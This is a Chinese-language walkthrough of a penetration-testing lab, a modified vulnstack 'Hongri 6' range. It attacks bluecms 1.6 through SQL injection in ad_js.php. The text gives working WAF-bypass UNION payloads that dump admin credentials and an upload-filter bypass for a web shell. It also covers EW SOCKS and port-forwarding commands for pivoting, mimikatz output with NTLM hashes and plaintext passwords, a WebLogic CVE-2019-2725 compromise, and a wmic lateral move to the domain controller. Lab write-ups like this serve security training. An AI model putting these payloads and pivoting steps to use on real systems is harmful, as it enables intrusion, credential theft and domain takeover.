靶机环境-魔改的红日6，修改了bluecms源码;
地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/8/
外网Web：192.168.140.131/192.168.111.128
内网Web：192.168.111.80/10.10.10.80
DC：10.10.10.10
实验目的
获取 DC 服务器权限
0x01 外网web
首先来到外网web：
可以看到开放了80访问看看
可以看到是bluecms 1.6。这个cms很多漏洞，网上下载一套看看。
1.1 代码审计
全文搜索下$_GET
来到ad_js.php
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';if(empty($ad_id)){echo 'Error!';exit();}$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);if($ad['time_set'] == 0){$ad_content = $ad['content'];}else{if($ad['end_time'] < time()){$ad_content = $ad['exp_content'];}else{$ad_content = $ad['content'];}}
可以看到如果ad_id不为空就删除两边的空白符号，否则输出Error，然后就会执行getone方法，跟踪下getone。
function getone($sql, $type=MYSQL_ASSOC){$query = $this->query($sql,$this->linkid);$row = mysql_fetch_array($query, $type);return $row;}
可以看到没有做任何过滤，直接带入了执行了sql语句。
http://192.168.140.131/ad_js.php?ad_id=1 and 1=1可以看到存在waf。
1.2 waf绕过
fuzz下加上/"%!* 来干扰。 绕过order by
ad_js.php?ad_id=1/%//order////by////8
http://192.168.140.131/ad_js.php?ad_id=1/*%%2f*/order/*%2f%2f*/by/*%2f%2f*/8ad_js.php?ad_id=1/%//order////by////7
<!--document.write("");-->
绕过union select
ad_js.php?ad_id=-1/*%/*/union/*//*/select/*//*/1,2,3,4,5,6,7全部被拦截，加上/!50001/再来跑
/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,7返回包：

获取当前表：正常语句：
union select 1,2,3,4,5,6,group_concat(table_name), from information_schema.tables where table_schema=database()套用上面的被拦截，逐条测试哪里被拦截了
发现只要不存在database()就不会被拦截
同理fuzz括号里面就行 bypass payload：
/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database(/*%!"/*/返回包：

可以看到存在blue_admin表，查看该表存在的字段
正常语句：
union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='blue_admin'单引号过滤hex编码下
bypass payload:
/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F61646D696E返回包：

存在admin_name,pwd
获取账密正常语句套同样的过滤语句：blue_admin:
/ad_js.php?ad_id=-1/*%/*/union/*//*//*!50448select*//*//*/1,2,3,4,5,6,group_concat(admin_name)%20from%20blue_admin返回包:

获得账密:admin/test123
1.3 后台getshell
这里尝试了文件包含发现不行,发现robots.txt下存在test目录的upload.html文件
直接被拦截了
这里我们可以修改
Content-Disposition: form-data; name="file"; filename="t.php"为
Content-Disposition: form-data; name="file"; filename=; filename="t.php"来绕过
0x02 内网渗透
可以看到权限还是挺高的。存在111段
上传ew到web靶机
执行
ew.exe -s ssocksd -l 1266添加用户上去，mimikatz抓密码
aspnet 161cff084477fe596a5db81874498a24(1qaz@WSX)itsec 852a844adfce18f66009b4f14e0a98de(test123..)Administrator 852a844adfce18f66009b4f14e0a98de(test123..)
c段发现存在80
存在administrator用户明文看看能不能直接ipc
密码不对。开放了80和7001
80没啥东西7001为weblogic
存在CVE-2019-2725
拿下内网weblogic
可以看到存在域de1ay.com,拿到了本地管理员权限。
存在10.10.10段
抓下密码：
* Username : de1ay* Domain : WEB* NTLM : cb5141dcdaa451b0972f3144fda5b3cd* SHA1 : c25aadf268b15742f54e1ca78d54b1da417d5f8d* Password : 1qaz@WSX1qaz@WSXUser : AdministratorHash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0(可能没启用)
设置多层代理 attack ip:192.168.140.1 web:192.168.140.131/192.168.111.128 weblogic:192.168.111.80/10.10.10.80
上传ew到weblogic机器上执行监听本地8888端口：
ew.exe -s ssocksd -l 8888在攻击机器上执行，把本地端口1080跟web的9999端口绑定：
ew.exe -s lcx_tran -l 1080 -f 192.168.140.131 -g 9999在web机器上将本地的9999跟weblogic的8888绑定：
ew.exe -s lcx_tran -l 9999 -f 192.168.111.80 -g 8888发现存在10机器。
用现有的密码加上域用户尝试爆破
user:
de1ayadministratorde1ayde1ay
pass:
1qaz@WSXtest123..1qaz@WSX1qaz@WSX
1.runas获取域用户cmd：
runas /user:de1ayadministrator cmdwmi横向移动：
wmic /node:10.10.10.10 /user:de1ayadministrator /password:1qaz@WSX1qaz@WSX process call create "cmd /c ipconfig > c:1.txt"推荐阅读
